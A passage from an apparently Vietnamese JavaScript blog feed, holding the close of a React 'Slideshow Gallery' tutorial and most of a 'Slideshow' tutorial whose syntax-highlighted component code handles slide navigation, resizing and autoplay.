class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">timeout</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3000</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, component Slideshow Gallery có các thuộc tính là:</p> <ul> <li><strong>input (<a href="/array-la-gi-array-trong-javascript/">Array</a>):</strong> mảng chứa thông tin các ảnh, với mỗi phần tử là một <a href="/object-la-gi-object-trong-javascript/">object </a> gồm src – đường dẫn ảnh và caption – tiêu đề ảnh.</li> <li><strong>ratio (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> string biểu diễn tỉ lệ <strong>width : height</strong>, ví dụ là "3:2". Chú ý là chiều rộng, mình luôn luôn để 100% nên mình chỉ cần truyền vào tỉ lệ này là OK.</li> <li><strong>mode (String):</strong> kiểu chạy, có 2 giá trị là "manual" – thủ công và "automatic" – tự động. Riêng với trường hợp, chạy tự động thì bạn cần truyền thêm giá trị "timeout" – thời gian giữa các ảnh, mặc định là 5000 ms.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #2 – Slideshow Gallery. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/slideshow-gallery/" class="btn btn-primary margin-bottom"> Xem Demo Slideshow Gallery </a> <p>Mình thấy React hay ở chỗ là mình có thể tách code ra thành các component. Nghĩa là khi nào cần mình sẽ lấy ra sử dụng, không cần phải viết lại nữa.</p> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #1: Slideshow]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #1. Bài viết này mình sẽ thực hành React thông qua cách tạo Slideshow để trình diễn ảnh. Vậy Slideshow là gì? Mời bạn theo dõi ví dụ Demo…]]>https://completejavascript.com/hoc-react-qua-vi-du-1-slideshow/https://completejavascript.com/hoc-react-qua-vi-du-1-slideshow/<![CDATA[Create-react-app]]><![CDATA[Event]]><![CDATA[React Component]]>Mon, 29 Oct 2018 22:30:30 GMT<p>Xin chào bạn đến với Học React qua ví dụ #1. Bài viết này mình sẽ thực hành React thông qua cách tạo Slideshow để trình diễn ảnh.</p> <p><strong>Vậy Slideshow là gì?</strong></p> <p>Mời bạn theo dõi ví dụ Demo sau đây sẽ rõ:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/slideshow/" class="btn btn-primary margin-bottom"> Xem demo Slideshow </a> <p>Trong ví dụ trên, mình tạo ra hai Slideshow. Cái bên trên điều khiển thủ công thông qua việc click chuột. Còn cái bên dưới được điều khiển tự động, với mỗi ảnh cách nhau 3 giây (dĩ nhiên bạn vẫn có thể điều khiển thủ công được).</p> <p>Nếu không có vấn đề gì thì mình bắt đầu học React qua ví dụ #1 thôi nào!</p> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Có nhiều cách để thực hiện demo Slideshow. Tuy nhiên, mình khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #1 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------slideshow/ --------slideshow.css --------slideshow.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: để chứa code của các Component. Bài này mình thực hành về Slideshow nên mình tạo thêm thư mục <strong>slideshow</strong> bên trong với 2 file <strong>slideshow.js</strong> và <strong>slideshow.css</strong> để định nghĩa cho component Slideshow (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những <a href="/web-tai-anh-mien-phi-chat-luong-cao/">ảnh</a> mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component Slideshow ở trên.</li> <li>Các file <strong>index.css</strong>, <strong>index.js</strong> và <strong>serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-slideshow-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-slideshow-component" aria-label="xây dựng slideshow component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Slideshow Component</h2> <h3 id="nội-dung-file-slideshowjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-slideshowjs" aria-label="nội dung file slideshowjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file slideshow.js</h3> <div class="gatsby-code-title gatsby-remark-code-title">slideshow.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./slideshow.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">Slideshow</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * State slideIndex dùng để xác định xem slide nào đang được active. * Các ảnh sẽ được xếp chồng lên nhau, cái nào active thì hiển thị, * Cái nào không active thì ẩn đi. */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* * Khi sử dụng, mình sẽ truyền thuộc tính ratio, giả sử là "3:2" * Như vậy, tỉ lệ width/height là this.ratioWH = 3 / 2 * Mình sẽ điều chỉnh các ảnh sao cho về cùng 1 kích thước. */</span> <span class="token keyword">const</span> ratioWHArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>ratio<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">":"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token operator">=</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">/</span> ratioWHArray<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>backward <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">backward</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>forward <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">forward</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>setSlideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setSlideIndex</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>getNewSlideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>runAutomatic <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">runAutomatic</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Tính chỉ số SlideIndex mới, với step là bước nhảy: +1 hoặc -1 * Giả sử, mình có 6 ảnh => các chỉ số lần lượt là: 0, 1, 2,...5 * Chú ý: * Nếu đang ở chỉ số 5 mà đi về phía trước thì slideIndex = 0 * Nếu đang ở chỉ số 0 mà về sau thì slideIndex = 5 */</span> <span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token parameter">step</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> slideIndex <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex<span class="token punctuation">;</span> <span class="token keyword">const</span> numberSlide <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token punctuation">;</span> <span class="token keyword">let</span> newSlideIndex <span class="token operator">=</span> slideIndex <span class="token operator">+</span> step<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>newSlideIndex <span class="token operator">>=</span> numberSlide<span class="token punctuation">)</span> newSlideIndex <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>newSlideIndex <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> newSlideIndex <span class="token operator">=</span> numberSlide <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> newSlideIndex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Quay về ảnh phía trước, tức index giảm 1 => step = -1</span> <span class="token function">backward</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Tiến tới ảnh phía sau, tức index tăng 1 => step = 1</span> <span class="token function">forward</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Xác định slideIndex nào sẽ được active</span> <span class="token function">setSlideIndex</span><span class="token punctuation">(</span><span class="token parameter">index</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> index<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Cập nhật chiều cao cho container khi thay đổi kích thước màn hình * Trong phần CSS, mình để container có width = 100%, * Nên dù kéo to hay thu nhỏ thì width vẫn bằng 100% * Nhưng chiều cao phải tính lại dựa vào width và tỉ lệ this.ratioWH */</span> <span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm<span class="token punctuation">.</span>offsetWidth <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>ratioWH <span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">px</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Nếu người dùng truyền vào thuộc tính mode = automatic * thì Slideshow sẽ chạy tự động dựa vào interval. * Hàm này sẽ được gọi trong mỗi lượt lặp lại * để cập nhật slideIndex mới cho Slideshow */</span> <span class="token function">runAutomatic</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">slideIndex</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">getNewSlideIndex</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Hàm này thuộc về React Component Lifecycle * được gọi sau khi component này được render xong * Trong đây, sẽ lưu lại reference cho container - this.containerElm * Cập nhật lại chiều cao cho container - this.updateDimensions(); * Đăng ký sự kiện thay đổi kích thước - resize * Kiểm tra nếu mode === "automatic" thì sẽ tạo mới một interval * để thay đổi hình ảnh - this.runAutomatic() * với giá trị timeout được truyền từ props hoặc mặc định là 5000 ms */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>mode <span class="token operator">===</span> <span class="token string">"automatic"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> timeout <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>timeout <span class="token operator">||</span> <span class="token number">5000</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">runAutomatic</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> Number<span class="token punctuation">.</span><span class="token function">parseInt</span><span class="token punctuation">(</span>timeout<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/* * Hàm này cũng thuộc về React Component Lifecycle - * được gọi khi component này bị xóa khỏi màn hình * Lúc này, mình phải hủy bỏ sự kiện khi resize * và xóa bỏ interval đã khai bảo bên trên để tránh leak memory. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval<span class="token punctuation">)</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * Giao diện của component * với phần tử ngoài cùng mình để className="lp-slideshow" * để tránh xung đột về tên với các component khác */</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-slideshow<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">image<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">slide </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex <span class="token operator">===</span> index <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span> <span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>number-text<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>index <span class="token operator">+</span> <span class="token number">1</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> / </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>caption-text<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>prev<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>backward<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> ❮ </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>next<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>forward<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> ❯ </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>dot-container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token 